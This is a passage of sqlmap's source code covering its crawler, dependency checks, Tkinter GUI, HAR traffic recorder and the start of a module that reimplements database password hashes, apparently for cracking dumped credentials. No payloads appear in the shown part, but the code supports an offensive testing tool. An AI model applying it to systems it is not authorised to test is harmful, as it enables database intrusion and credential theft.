conf.crawlDepth > 1: threadData.shared.unprocessed.update(items) logger.info("%s links found" % ("no" if not items else len(items))) if not conf.bulkFile: infoMsg = "starting crawler for target URL '%s'" % target logger.info(infoMsg) for i in xrange(conf.crawlDepth): threadData.shared.count = 0 threadData.shared.length = len(threadData.shared.unprocessed) numThreads = min(conf.threads, len(threadData.shared.unprocessed)) if not conf.bulkFile: logger.info("searching for links with depth %d" % (i + 1)) runThreads(numThreads, crawlThread, threadChoice=(i > 0)) clearConsoleLine(True) if threadData.shared.deeper: threadData.shared.unprocessed = set(threadData.shared.deeper) else: break except KeyboardInterrupt: warnMsg = "user aborted during crawling. sqlmap " warnMsg += "will use partial list" logger.warning(warnMsg) finally: clearConsoleLine(True) if not threadData.shared.value: if not (conf.forms and threadData.shared.formsFound): warnMsg = "no usable links found (with GET parameters)" if conf.forms: warnMsg += " or forms" logger.warning(warnMsg) else: for url in threadData.shared.value: kb.targets.add((urldecode(url, kb.pageEncoding), None, None, None, None)) if kb.targets: if kb.normalizeCrawlingChoice is None: message = "do you want to normalize " message += "crawling results [Y/n] " kb.normalizeCrawlingChoice = readInput(message, default='Y', boolean=True) if kb.normalizeCrawlingChoice: seen = set() results = OrderedSet() for target in kb.targets: value = "%s%s%s" % (target[0], '&' if '?' in target[0] else '?', target[2] or "") match = re.search(r"/[^/?]*\?.+\Z", value) if match: key = re.sub(r"=[^=&]*", "=", match.group(0)).strip("&?") if '=' in key and key not in seen: results.add(target) seen.add(key) kb.targets = results storeResultsToFile(kb.targets) def storeResultsToFile(results): if not results: return if kb.storeCrawlingChoice is None: message = "do you want to store crawling results to a temporary file " message += "for eventual further processing with other tools [y/N] " kb.storeCrawlingChoice = readInput(message, default='N', boolean=True) if kb.storeCrawlingChoice: handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.CRAWLER, suffix=".csv" if conf.forms else ".txt") os.close(handle) infoMsg = "writing crawling results to a temporary file '%s' " % filename logger.info(infoMsg) with openFile(filename, "w+") as f: if conf.forms: f.write("URL,POST\n") for url, _, data, _, _ in results: if conf.forms: f.write("%s,%s\n" % (safeCSValue(url), safeCSValue(data or ""))) else: f.write("%s\n" % url) ================================================ FILE: lib/utils/deps.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.data import logger from lib.core.dicts import DBMS_DICT from lib.core.enums import DBMS from lib.core.settings import IS_WIN def checkDependencies(): missing_libraries = set() for dbmsName, data in DBMS_DICT.items(): if data[1] is None: continue try: if dbmsName in (DBMS.MSSQL, DBMS.SYBASE): __import__("_mssql") pymssql = __import__("pymssql") if not hasattr(pymssql, "__version__") or pymssql.__version__ < "1.0.2": warnMsg = "'%s' third-party library must be " % data[1] warnMsg += "version >= 1.0.2 to work properly. " warnMsg += "Download from '%s'" % data[2] logger.warning(warnMsg) elif dbmsName == DBMS.MYSQL: __import__("pymysql") elif dbmsName in (DBMS.PGSQL, DBMS.CRATEDB): __import__("psycopg2") elif dbmsName == DBMS.ORACLE: __import__("oracledb") elif dbmsName == DBMS.SQLITE: __import__("sqlite3") elif dbmsName == DBMS.ACCESS: __import__("pyodbc") elif dbmsName == DBMS.FIREBIRD: __import__("kinterbasdb") elif dbmsName == DBMS.DB2: __import__("ibm_db_dbi") elif dbmsName in (DBMS.HSQLDB, DBMS.CACHE): __import__("jaydebeapi") __import__("jpype") elif dbmsName == DBMS.INFORMIX: __import__("ibm_db_dbi") elif dbmsName == DBMS.MONETDB: __import__("pymonetdb") elif dbmsName == DBMS.DERBY: __import__("drda") elif dbmsName == DBMS.VERTICA: __import__("vertica_python") elif dbmsName == DBMS.PRESTO: __import__("prestodb") elif dbmsName == DBMS.MIMERSQL: __import__("mimerpy") elif dbmsName == DBMS.CUBRID: __import__("CUBRIDdb") elif dbmsName == DBMS.CLICKHOUSE: __import__("clickhouse_connect") except: warnMsg = "sqlmap requires '%s' third-party library " % data[1] warnMsg += "in order to directly connect to the DBMS " warnMsg += "'%s'. Download from '%s'" % (dbmsName, data[2]) logger.warning(warnMsg) missing_libraries.add(data[1]) continue debugMsg = "'%s' third-party library is found" % data[1] logger.debug(debugMsg) try: __import__("impacket") debugMsg = "'python-impacket' third-party library is found" logger.debug(debugMsg) except ImportError: warnMsg = "sqlmap requires 'python-impacket' third-party library for " warnMsg += "out-of-band takeover feature. Download from " warnMsg += "'https://github.com/coresecurity/impacket'" logger.warning(warnMsg) missing_libraries.add('python-impacket') try: __import__("ntlm") debugMsg = "'python-ntlm' third-party library is found" logger.debug(debugMsg) except ImportError: warnMsg = "sqlmap requires 'python-ntlm' third-party library " warnMsg += "if you plan to attack a web application behind NTLM " warnMsg += "authentication. Download from 'https://github.com/mullender/python-ntlm'" logger.warning(warnMsg) missing_libraries.add('python-ntlm') try: __import__("httpx") debugMsg = "'httpx[http2]' third-party library is found" logger.debug(debugMsg) except ImportError: warnMsg = "sqlmap requires 'httpx[http2]' third-party library " warnMsg += "if you plan to use HTTP version 2" logger.warning(warnMsg) missing_libraries.add('httpx[http2]') try: __import__("websocket._abnf") debugMsg = "'websocket-client' library is found" logger.debug(debugMsg) except ImportError: warnMsg = "sqlmap requires 'websocket-client' third-party library " warnMsg += "if you plan to attack a web application using WebSocket. " warnMsg += "Download from 'https://pypi.python.org/pypi/websocket-client/'" logger.warning(warnMsg) missing_libraries.add('websocket-client') try: __import__("tkinter") debugMsg = "'tkinter' library is found" logger.debug(debugMsg) except ImportError: warnMsg = "sqlmap requires 'tkinter' library " warnMsg += "if you plan to run a GUI" logger.warning(warnMsg) missing_libraries.add('tkinter') try: __import__("tkinter.ttk") debugMsg = "'tkinter.ttk' library is found" logger.debug(debugMsg) except ImportError: warnMsg = "sqlmap requires 'tkinter.ttk' library " warnMsg += "if you plan to run a GUI" logger.warning(warnMsg) missing_libraries.add('tkinter.ttk') if IS_WIN: try: __import__("pyreadline") debugMsg = "'python-pyreadline' third-party library is found" logger.debug(debugMsg) except ImportError: warnMsg = "sqlmap requires 'pyreadline' third-party library to " warnMsg += "be able to take advantage of the sqlmap TAB " warnMsg += "completion and history support features in the SQL " warnMsg += "shell and OS shell. Download from " warnMsg += "'https://pypi.org/project/pyreadline/'" logger.warning(warnMsg) missing_libraries.add('python-pyreadline') if len(missing_libraries) == 0: infoMsg = "all dependencies are installed" logger.info(infoMsg) ================================================ FILE: lib/utils/getch.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ class _Getch(object): """ Gets a single character from standard input. Does not echo to the screen (reference: http://code.activestate.com/recipes/134892/) """ def __init__(self): try: self.impl = _GetchWindows() except ImportError: try: self.impl = _GetchMacCarbon() except (AttributeError, ImportError): self.impl = _GetchUnix() def __call__(self): return self.impl() class _GetchUnix(object): def __init__(self): __import__("tty") def __call__(self): import sys import termios import tty fd = sys.stdin.fileno() old_settings = termios.tcgetattr(fd) try: tty.setraw(sys.stdin.fileno()) ch = sys.stdin.read(1) finally: termios.tcsetattr(fd, termios.TCSADRAIN, old_settings) return ch class _GetchWindows(object): def __init__(self): __import__("msvcrt") def __call__(self): import msvcrt return msvcrt.getch() class _GetchMacCarbon(object): """ A function which returns the current ASCII key that is down; if no ASCII key is down, the null string is returned. The page http://www.mactech.com/macintosh-c/chap02-1.html was very helpful in figuring out how to do this. """ def __init__(self): import Carbon getattr(Carbon, "Evt") # see if it has this (in Unix, it doesn't) def __call__(self): import Carbon if Carbon.Evt.EventAvail(0x0008)[0] == 0: # 0x0008 is the keyDownMask return '' else: # # The event contains the following info: # (what,msg,when,where,mod)=Carbon.Evt.GetNextEvent(0x0008)[1] # # The message (msg) contains the ASCII char which is # extracted with the 0x000000FF charCodeMask; this # number is converted to an ASCII character with chr() and # returned # (what, msg, when, where, mod) = Carbon.Evt.GetNextEvent(0x0008)[1] return chr(msg & 0x000000FF) getch = _Getch() ================================================ FILE: lib/utils/gui.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import os import re import socket import subprocess import sys import tempfile import threading import webbrowser from lib.core.common import getSafeExString from lib.core.common import saveConfig from lib.core.data import paths from lib.core.defaults import defaults from lib.core.enums import MKSTEMP_PREFIX from lib.core.exception import SqlmapMissingDependence from lib.core.exception import SqlmapSystemException from lib.core.settings import DEV_EMAIL_ADDRESS from lib.core.settings import IS_WIN from lib.core.settings import ISSUES_PAGE from lib.core.settings import GIT_PAGE from lib.core.settings import SITE from lib.core.settings import VERSION_STRING from lib.core.settings import WIKI_PAGE from thirdparty.six.moves import queue as _queue alive = None line = "" process = None queue = None def runGui(parser): try: from thirdparty.six.moves import tkinter as _tkinter from thirdparty.six.moves import tkinter_scrolledtext as _tkinter_scrolledtext from thirdparty.six.moves import tkinter_ttk as _tkinter_ttk from thirdparty.six.moves import tkinter_messagebox as _tkinter_messagebox except ImportError as ex: raise SqlmapMissingDependence("missing dependence ('%s')" % getSafeExString(ex)) # Reference: https://www.reddit.com/r/learnpython/comments/985umy/limit_user_input_to_only_int_with_tkinter/e4dj9k9?utm_source=share&utm_medium=web2x class ConstrainedEntry(_tkinter.Entry): def __init__(self, master=None, **kwargs): self.var = _tkinter.StringVar() self.regex = kwargs["regex"] del kwargs["regex"] _tkinter.Entry.__init__(self, master, textvariable=self.var, **kwargs) self.old_value = '' self.var.trace('w', self.check) self.get, self.set = self.var.get, self.var.set def check(self, *args): if re.search(self.regex, self.get()): self.old_value = self.get() else: self.set(self.old_value) try: window = _tkinter.Tk() except Exception as ex: errMsg = "unable to create GUI window ('%s')" % getSafeExString(ex) raise SqlmapSystemException(errMsg) window.title("sqlmap - Tkinter GUI") # Set theme and colors bg_color = "#f5f5f5" fg_color = "#333333" accent_color = "#2c7fb8" window.configure(background=bg_color) # Configure styles style = _tkinter_ttk.Style() # Try to use a more modern theme if available available_themes = style.theme_names() if 'clam' in available_themes: style.theme_use('clam') elif 'alt' in available_themes: style.theme_use('alt') # Configure notebook style style.configure("TNotebook", background=bg_color) style.configure("TNotebook.Tab", padding=[10, 4], background="#e1e1e1", font=('Helvetica', 9)) style.map("TNotebook.Tab", background=[("selected", accent_color), ("active", "#7fcdbb")], foreground=[("selected", "white"), ("active", "white")]) # Configure button style style.configure("TButton", padding=4, relief="flat", background=accent_color, foreground="white", font=('Helvetica', 9)) style.map("TButton", background=[('active', '#41b6c4')]) # Reference: https://stackoverflow.com/a/10018670 def center(window): window.update_idletasks() width = window.winfo_width() frm_width = window.winfo_rootx() - window.winfo_x() win_width = width + 2 * frm_width height = window.winfo_height() titlebar_height = window.winfo_rooty() - window.winfo_y() win_height = height + titlebar_height + frm_width x = window.winfo_screenwidth() // 2 - win_width // 2 y = window.winfo_screenheight() // 2 - win_height // 2 window.geometry('{}x{}+{}+{}'.format(width, height, x, y)) window.deiconify() def onKeyPress(event): global line global queue if process: if event.char == '\b': line = line[:-1] else: line += event.char def onReturnPress(event): global line global queue if process: try: process.stdin.write(("%s\n" % line.strip()).encode()) process.stdin.flush() except socket.error: line = "" event.widget.master.master.destroy() return "break" except: return event.widget.insert(_tkinter.END, "\n") return "break" def run(): global alive global process global queue config = {} for key in window._widgets: dest, widget_type = key widget = window._widgets[key] if hasattr(widget, "get") and not widget.get(): value = None elif widget_type == "string": value = widget.get() elif widget_type == "float": value = float(widget.get()) elif widget_type == "int": value = int(widget.get()) else: value = bool(widget.var.get()) config[dest] = value for option in parser.option_list: # Only set default if not already set by the user if option.dest not in config or config[option.dest] is None: config[option.dest] = defaults.get(option.dest, None) handle, configFile = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.CONFIG, text=True) os.close(handle) saveConfig(config, configFile) def enqueue(stream, queue): global alive for line in iter(stream.readline, b''): queue.put(line) alive = False stream.close() alive = True process = subprocess.Popen([sys.executable or "python", os.path.join(paths.SQLMAP_ROOT_PATH, "sqlmap.py"), "-c", configFile], shell=False, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, bufsize=1, close_fds=not IS_WIN) # Reference: https://stackoverflow.com/a/4896288 queue = _queue.Queue() thread = threading.Thread(target=enqueue, args=(process.stdout, queue)) thread.daemon = True thread.start() top = _tkinter.Toplevel() top.title("Console") top.configure(background=bg_color) # Create a frame for the console console_frame = _tkinter.Frame(top, bg=bg_color) console_frame.pack(fill=_tkinter.BOTH, expand=True, padx=10, pady=10) # Reference: https://stackoverflow.com/a/13833338 text = _tkinter_scrolledtext.ScrolledText(console_frame, undo=True, wrap=_tkinter.WORD, bg="#2c3e50", fg="#ecf0f1", insertbackground="white", font=('Consolas', 10)) text.bind("<Key>", onKeyPress) text.bind("<Return>", onReturnPress) text.pack(fill=_tkinter.BOTH, expand=True) text.focus() center(top) while True: line = "" try: line = queue.get(timeout=.1) text.insert(_tkinter.END, line) except _queue.Empty: text.see(_tkinter.END) text.update_idletasks() if not alive: break # Create a menu bar menubar = _tkinter.Menu(window, bg=bg_color, fg=fg_color) filemenu = _tkinter.Menu(menubar, tearoff=0, bg=bg_color, fg=fg_color) filemenu.add_command(label="Open", state=_tkinter.DISABLED) filemenu.add_command(label="Save", state=_tkinter.DISABLED) filemenu.add_separator() filemenu.add_command(label="Exit", command=window.quit) menubar.add_cascade(label="File", menu=filemenu) menubar.add_command(label="Run", command=run) helpmenu = _tkinter.Menu(menubar, tearoff=0, bg=bg_color, fg=fg_color) helpmenu.add_command(label="Official site", command=lambda: webbrowser.open(SITE)) helpmenu.add_command(label="Github pages", command=lambda: webbrowser.open(GIT_PAGE)) helpmenu.add_command(label="Wiki pages", command=lambda: webbrowser.open(WIKI_PAGE)) helpmenu.add_command(label="Report issue", command=lambda: webbrowser.open(ISSUES_PAGE)) helpmenu.add_separator() helpmenu.add_command(label="About", command=lambda: _tkinter_messagebox.showinfo("About", "%s\n\n (%s)" % (VERSION_STRING, DEV_EMAIL_ADDRESS))) menubar.add_cascade(label="Help", menu=helpmenu) window.config(menu=menubar, bg=bg_color) window._widgets = {} # Create header frame header_frame = _tkinter.Frame(window, bg=bg_color, height=60) header_frame.pack(fill=_tkinter.X, pady=(0, 5)) header_frame.pack_propagate(0) # Add header label title_label = _tkinter.Label(header_frame, text="Configuration", font=('Helvetica', 14), fg=accent_color, bg=bg_color) title_label.pack(side=_tkinter.LEFT, padx=15) # Add run button in header run_button = _tkinter_ttk.Button(header_frame, text="Run", command=run, width=12) run_button.pack(side=_tkinter.RIGHT, padx=15) # Create notebook notebook = _tkinter_ttk.Notebook(window) notebook.pack(expand=1, fill="both", padx=5, pady=(0, 5)) # Store tab information for background loading tab_frames = {} tab_canvases = {} tab_scrollable_frames = {} tab_groups = {} # Create empty tabs with scrollable areas first (fast) for group in parser.option_groups: # Create a frame with scrollbar for the tab tab_frame = _tkinter.Frame(notebook, bg=bg_color) tab_frames[group.title] = tab_frame # Create a canvas with scrollbar canvas = _tkinter.Canvas(tab_frame, bg=bg_color, highlightthickness=0) scrollbar = _tkinter_ttk.Scrollbar(tab_frame, orient="vertical", command=canvas.yview) scrollable_frame = _tkinter.Frame(canvas, bg=bg_color) # Store references tab_canvases[group.title] = canvas tab_scrollable_frames[group.title] = scrollable_frame tab_groups[group.title] = group # Configure the canvas scrolling scrollable_frame.bind( "<Configure>", lambda e, canvas=canvas: canvas.configure(scrollregion=canvas.bbox("all")) ) canvas.create_window((0, 0), window=scrollable_frame, anchor="nw") canvas.configure(yscrollcommand=scrollbar.set) # Pack the canvas and scrollbar canvas.pack(side="left", fill="both", expand=True) scrollbar.pack(side="right", fill="y") # Add the tab to the notebook notebook.add(tab_frame, text=group.title) # Add a loading indicator loading_label = _tkinter.Label(scrollable_frame, text="Loading options...", font=('Helvetica', 12), fg=accent_color, bg=bg_color) loading_label.pack(expand=True) # Function to populate a tab in the background def populate_tab(tab_name): group = tab_groups[tab_name] scrollable_frame = tab_scrollable_frames[tab_name] canvas = tab_canvases[tab_name] # Remove loading indicator for child in scrollable_frame.winfo_children(): child.destroy() # Add content to the scrollable frame row = 0 if group.get_description(): desc_label = _tkinter.Label(scrollable_frame, text=group.get_description(), wraplength=600, justify="left", font=('Helvetica', 9), fg="#555555", bg=bg_color) desc_label.grid(row=row, column=0, columnspan=3, sticky="w", padx=10, pady=(10, 5)) row += 1 for option in group.option_list: # Option label option_label = _tkinter.Label(scrollable_frame, text=parser.formatter._format_option_strings(option) + ":", font=('Helvetica', 9), fg=fg_color, bg=bg_color, anchor="w") option_label.grid(row=row, column=0, sticky="w", padx=10, pady=2) # Input widget if option.type == "string": widget = _tkinter.Entry(scrollable_frame, font=('Helvetica', 9), relief="sunken", bd=1, width=20) widget.grid(row=row, column=1, sticky="w", padx=5, pady=2) elif option.type == "float": widget = ConstrainedEntry(scrollable_frame, regex=r"\A\d*\.?\d*\Z", font=('Helvetica', 9), relief="sunken", bd=1, width=10) widget.grid(row=row, column=1, sticky="w", padx=5, pady=2) elif option.type == "int": widget = ConstrainedEntry(scrollable_frame, regex=r"\A\d*\Z", font=('Helvetica', 9), relief="sunken", bd=1, width=10) widget.grid(row=row, column=1, sticky="w", padx=5, pady=2) else: var = _tkinter.IntVar() widget = _tkinter.Checkbutton(scrollable_frame, variable=var, bg=bg_color, activebackground=bg_color) widget.var = var widget.grid(row=row, column=1, sticky="w", padx=5, pady=2) # Help text (truncated to improve performance) help_text = option.help if len(help_text) > 100: help_text = help_text[:100] + "..." help_label = _tkinter.Label(scrollable_frame, text=help_text, font=('Helvetica', 8), fg="#666666", bg=bg_color, wraplength=400, justify="left") help_label.grid(row=row, column=2, sticky="w", padx=5, pady=2) # Store widget reference window._widgets[(option.dest, option.type)] = widget # Set default value default = defaults.get(option.dest) if default: if hasattr(widget, "insert"): widget.insert(0, default) elif hasattr(widget, "var"): widget.var.set(1 if default else 0) row += 1 # Add some padding at the bottom _tkinter.Label(scrollable_frame, bg=bg_color, height=1).grid(row=row, column=0) # Update the scroll region after adding all widgets canvas.update_idletasks() canvas.configure(scrollregion=canvas.bbox("all")) # Update the UI to show the tab is fully loaded window.update_idletasks() # Function to populate tabs in the background def populate_tabs_background(): for tab_name in tab_groups.keys(): # Schedule each tab to be populated with a small delay between them window.after(100, lambda name=tab_name: populate_tab(name)) # Start populating tabs in the background after a short delay window.after(500, populate_tabs_background) # Set minimum window size window.update() window.minsize(800, 500) # Center the window on screen center(window) # Start the GUI window.mainloop() ================================================ FILE: lib/utils/har.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import base64 import datetime import io import re import time from lib.core.bigarray import BigArray from lib.core.convert import getBytes from lib.core.convert import getText from lib.core.settings import VERSION from thirdparty.six.moves import BaseHTTPServer as _BaseHTTPServer from thirdparty.six.moves import http_client as _http_client # Reference: https://dvcs.w3.org/hg/webperf/raw-file/tip/specs/HAR/Overview.html # http://www.softwareishard.com/har/viewer/ class HTTPCollectorFactory(object): def __init__(self, harFile=False): self.harFile = harFile def create(self): return HTTPCollector() class HTTPCollector(object): def __init__(self): self.messages = BigArray() self.extendedArguments = {} def setExtendedArguments(self, arguments): self.extendedArguments = arguments def collectRequest(self, requestMessage, responseMessage, startTime=None, endTime=None): self.messages.append(RawPair(requestMessage, responseMessage, startTime=startTime, endTime=endTime, extendedArguments=self.extendedArguments)) def obtain(self): return {"log": { "version": "1.2", "creator": {"name": "sqlmap", "version": VERSION}, "entries": [pair.toEntry().toDict() for pair in self.messages], }} class RawPair(object): def __init__(self, request, response, startTime=None, endTime=None, extendedArguments=None): self.request = getBytes(request) self.response = getBytes(response) self.startTime = startTime self.endTime = endTime self.extendedArguments = extendedArguments or {} def toEntry(self): return Entry(request=Request.parse(self.request), response=Response.parse(self.response), startTime=self.startTime, endTime=self.endTime, extendedArguments=self.extendedArguments) class Entry(object): def __init__(self, request, response, startTime, endTime, extendedArguments): self.request = request self.response = response self.startTime = startTime or 0 self.endTime = endTime or 0 self.extendedArguments = extendedArguments def toDict(self): out = { "request": self.request.toDict(), "response": self.response.toDict(), "cache": {}, "timings": { "send": -1, "wait": -1, "receive": -1, }, "time": int(1000 * (self.endTime - self.startTime)), "startedDateTime": "%s%s" % (datetime.datetime.fromtimestamp(self.startTime).isoformat(), time.strftime("%z")) if self.startTime else None } out.update(self.extendedArguments) return out class Request(object): def __init__(self, method, path, httpVersion, headers, postBody=None, raw=None, comment=None): self.method = method self.path = path self.httpVersion = httpVersion self.headers = headers or {} self.postBody = postBody self.comment = comment.strip() if comment else comment self.raw = raw @classmethod def parse(cls, raw): request = HTTPRequest(raw) return cls(method=request.command, path=request.path, httpVersion=request.request_version, headers=request.headers, postBody=request.rfile.read(), comment=request.comment, raw=raw) @property def url(self): host = self.headers.get("Host", "unknown") return "http://%s%s" % (host, self.path) def toDict(self): out = { "httpVersion": self.httpVersion, "method": self.method, "url": self.url, "headers": [dict(name=key.capitalize(), value=value) for key, value in self.headers.items()], "cookies": [], "queryString": [], "headersSize": -1, "bodySize": -1, "comment": getText(self.comment), } if self.postBody: contentType = self.headers.get("Content-Type") out["postData"] = { "mimeType": contentType, "text": getText(self.postBody).rstrip("\r\n"), } return out class Response(object): extract_status = re.compile(b'\\((\\d{3}) (.*)\\)') def __init__(self, httpVersion, status, statusText, headers, content, raw=None, comment=None): self.raw = raw self.httpVersion = httpVersion self.status = status self.statusText = statusText self.headers = headers self.content = content self.comment = comment.strip() if comment else comment @classmethod def parse(cls, raw): altered = raw comment = b"" if altered.startswith(b"HTTP response [") or altered.startswith(b"HTTP redirect ["): stream = io.BytesIO(raw) first_line = stream.readline() parts = cls.extract_status.search(first_line) status_line = "HTTP/1.0 %s %s" % (getText(parts.group(1)), getText(parts.group(2))) remain = stream.read() altered = getBytes(status_line) + b"\r\n" + remain comment = first_line response = _http_client.HTTPResponse(FakeSocket(altered)) response.begin() # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5942 response.length = len(raw[raw.find(b"\r\n\r\n") + 4:]) try: content = response.read() except _http_client.IncompleteRead: content = raw[raw.find(b"\r\n\r\n") + 4:].rstrip(b"\r\n") return cls(httpVersion="HTTP/1.1" if response.version == 11 else "HTTP/1.0", status=response.status, statusText=response.reason, headers=response.msg, content=content, comment=comment, raw=raw) def toDict(self): content = { "mimeType": self.headers.get("Content-Type"), "text": self.content, "size": len(self.content or "") } binary = set([b'\0', b'\1']) if any(c in binary for c in self.content): content["encoding"] = "base64" content["text"] = getText(base64.b64encode(self.content)) else: content["text"] = getText(content["text"]) return { "httpVersion": self.httpVersion, "status": self.status, "statusText": self.statusText, "headers": [dict(name=key.capitalize(), value=value) for key, value in self.headers.items() if key.lower() != "uri"], "cookies": [], "content": content, "headersSize": -1, "bodySize": -1, "redirectURL": "", "comment": getText(self.comment), } class FakeSocket(object): # Original source: # https://stackoverflow.com/questions/24728088/python-parse-http-response-string def __init__(self, response_text): self._file = io.BytesIO(response_text) def makefile(self, *args, **kwargs): return self._file class HTTPRequest(_BaseHTTPServer.BaseHTTPRequestHandler): # Original source: # https://stackoverflow.com/questions/4685217/parse-raw-http-headers def __init__(self, request_text): self.comment = None self.rfile = io.BytesIO(request_text) self.raw_requestline = self.rfile.readline() if self.raw_requestline.startswith(b"HTTP request ["): self.comment = self.raw_requestline self.raw_requestline = self.rfile.readline() self.error_code = self.error_message = None self.parse_request() def send_error(self, code, message): self.error_code = code self.error_message = message ================================================ FILE: lib/utils/hash.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from __future__ import print_function try: from crypt import crypt except: # removed ImportError because of https://github.com/sqlmapproject/sqlmap/issues/3171 from thirdparty.fcrypt.fcrypt import crypt try: from Crypto.Cipher.DES import MODE_CBC as CBC from Crypto.Cipher.DES import new as des except: from thirdparty.pydes.pyDes import CBC from thirdparty.pydes.pyDes import des _multiprocessing = None import base64 import binascii import gc import math import os import re import tempfile import time import zipfile from hashlib import md5 from hashlib import sha1 from hashlib import sha224 from hashlib import sha256 from hashlib import sha384 from hashlib import sha512 from lib.core.common import Backend from lib.core.common import checkFile from lib.core.common import clearConsoleLine from lib.core.common import dataToStdout from lib.core.common import getFileItems from lib.core.common import getPublicTypeMembers from lib.core.common import getSafeExString from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.common import isZipFile from lib.core.common import normalizeUnicode from lib.core.common import openFile from lib.core.common import paths from lib.core.common import readInput from lib.core.common import singleTimeLogMessage from lib.core.common import singleTimeWarnMessage from lib.core.compat import xrange from lib.core.convert import decodeBase64 from lib.core.convert import decodeHex from lib.core.convert import encodeHex from lib.core.convert import getBytes from lib.core.convert import getText from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.datatype import OrderedSet from lib.core.decorators import cachedmethod from lib.core.enums import DBMS from lib.core.enums import HASH from lib.core.enums import MKSTEMP_PREFIX from lib.core.exception import SqlmapDataException from lib.core.exception import SqlmapUserQuitException from lib.core.settings import COMMON_PASSWORD_SUFFIXES from lib.core.settings import COMMON_USER_COLUMNS from lib.core.settings import DEV_EMAIL_ADDRESS from lib.core.settings import DUMMY_USER_PREFIX from lib.core.settings import HASH_BINARY_COLUMNS_REGEX from lib.core.settings import HASH_EMPTY_PASSWORD_MARKER from lib.core.settings import HASH_MOD_ITEM_DISPLAY from lib.core.settings import HASH_RECOGNITION_QUIT_THRESHOLD from lib.core.settings import INVALID_UNICODE_CHAR_FORMAT from lib.core.settings import IS_WIN from lib.core.settings import ITOA64 from lib.core.settings import NULL from lib.core.settings import ROTATING_CHARS from lib.core.settings import UNICODE_ENCODING from lib.core.wordlist import Wordlist from thirdparty import six from thirdparty.colorama.initialise import init as coloramainit from thirdparty.six.moves import queue as _queue def mysql_passwd(password, uppercase=True): """ Reference(s): https://web.archive.org/web/20120215205312/http://csl.sublevel3.org/mysql-password-function/ >>> mysql_passwd(password='testpass', uppercase=True) '*00E247AC5F9AF26AE0194B41E1E769DEE1429A29' """ password = getBytes(password) retVal = "*%s" % sha1(sha1(password).digest()).hexdigest() return retVal.upper() if uppercase else retVal.lower() def mysql_old_passwd(password, uppercase=True): # prior to version '4.1' """ Reference(s): https://web.archive.org/web/20091205000600/http://www.sfr-fresh.com/unix/privat/tpop3d-1.5.5.tar.gz:a/tpop3d-1.5.5/password.c https://github.com/pwnieexpress/pwn_plug_sources/blob/master/src/darkmysqli/DarkMySQLi.py >>> mysql_old_passwd(password='testpass', uppercase=True) '7DCDA0D57290B453' """ a, b, c = 1345345333, 7, 0x12345671 for d in password: if d == ' ' or d == '\t': continue e = ord(d) a ^= (((a & 63) + b) * e) + (a << 8) c += (c << 8) ^ a b += e retVal = "%08lx%08lx" % (a & ((1 << 31) - 1), c & ((1 << 31) - 1)) return retVal.upper() if uppercase else retVal.lower() def postgres_passwd(password, username, uppercase=False): """ Reference(s): http://pentestmonkey.net/blog/cracking-postgres-hashes/ >>> postgres_passwd(password='testpass', username='testuser', uppercase=False) 'md599e5ea7a6f7c3269995cba3927fd0093' """ username = getBytes(username) password = getBytes(password) retVal = "md5%s" % md5(password + username).hexdigest() return retVal.upper() if uppercase else retVal.lower() def mssql_new_passwd(password, salt, uppercase=False): # since version '2012' """ Reference(s): http://hashcat.net/forum/thread-1474.html https://sqlity.net/en/2460/sql-password-hash/ >>> mssql_new_passwd(password='testpass', salt='4086ceb6', uppercase=False) '0x02004086ceb6eb051cdbc5bdae68ffc66c918d4977e592f6bdfc2b444a7214f71fa31c35902c5b7ae773ed5f4c50676d329120ace32ee6bc81c24f70711eb0fc6400e85ebf25' """ binsalt = decodeHex(salt) unistr = b"".join((_.encode(UNICODE_ENCODING) + b"\0") if ord(_) < 256 else _.encode(UNICODE_ENCODING) for _ in password) retVal = "0200%s%s" % (salt, sha512(unistr + binsalt).hexdigest()) return "0x%s" % (retVal.upper() if uppercase else retVal.lower()) def mssql_passwd(password, salt, uppercase=False): # versions '2005' and '2008' """ Reference(s): http://www.leidecker.info/projects/phrasendrescher/mssql.c https://www.evilfingers.com/tools/GSAuditor.php >>> mssql_passwd(password='testpass', salt='4086ceb6', uppercase=False) '0x01004086ceb60c90646a8ab9889fe3ed8e5c150b5460ece8425a' """ binsalt = decodeHex(salt) unistr = b"".join((_.encode(UNICODE_ENCODING) + b"\0") if ord(_) < 256 else _.encode(UNICODE_ENCODING) for _ in password) retVal = "0100%s%s" % (salt, sha1(unistr + binsalt).hexdigest()) return "0x%s" % (retVal.upper() if uppercase else retVal.lower()) def mssql_old_passwd(password, salt, uppercase=True): # version '2000' and before """ Reference(s): www.exploit-db.com/download_pdf/15537/ http://www.leidecker.info/projects/phrasendrescher/mssql.c https://www.evilfingers.com/tools/GSAuditor.php >>> mssql_old_passwd(password='testpass', salt='4086ceb6', uppercase=True) '0x01004086CEB60C90646A8AB9889FE3ED8E5C150B5460ECE8425AC7BB7255C0C81D79AA5D0E93D4BB077FB9A51DA0' """ binsalt = decodeHex(salt) unistr = b"".join((_.encode(UNICODE_ENCODING) + b"\0") if ord(_) < 256 else _.encode(UNICODE_ENCODING) for _ in password) retVal = "0100%s%s%s" % (salt, sha1(unistr + binsalt).hexdigest(), sha1(unistr.upper() + binsalt).hexdigest()) return "0x%s" % (retVal.upper() if uppercase else retVal.lower()) def oracle_passwd(password, salt, uppercase=True): """ Reference(s): https://www.evilfingers.com/tools/GSAuditor.php http://www.notesbit.com/index.php/scripts-oracle/oracle-11g-new-password-algorithm-is-revealed-by-seclistsorg/ http://seclists.org/bugtraq/2007/Sep/304 >>> oracle_passwd(password='SHAlala', salt='1B7B5F82B7235E9E182C', uppercase=True) 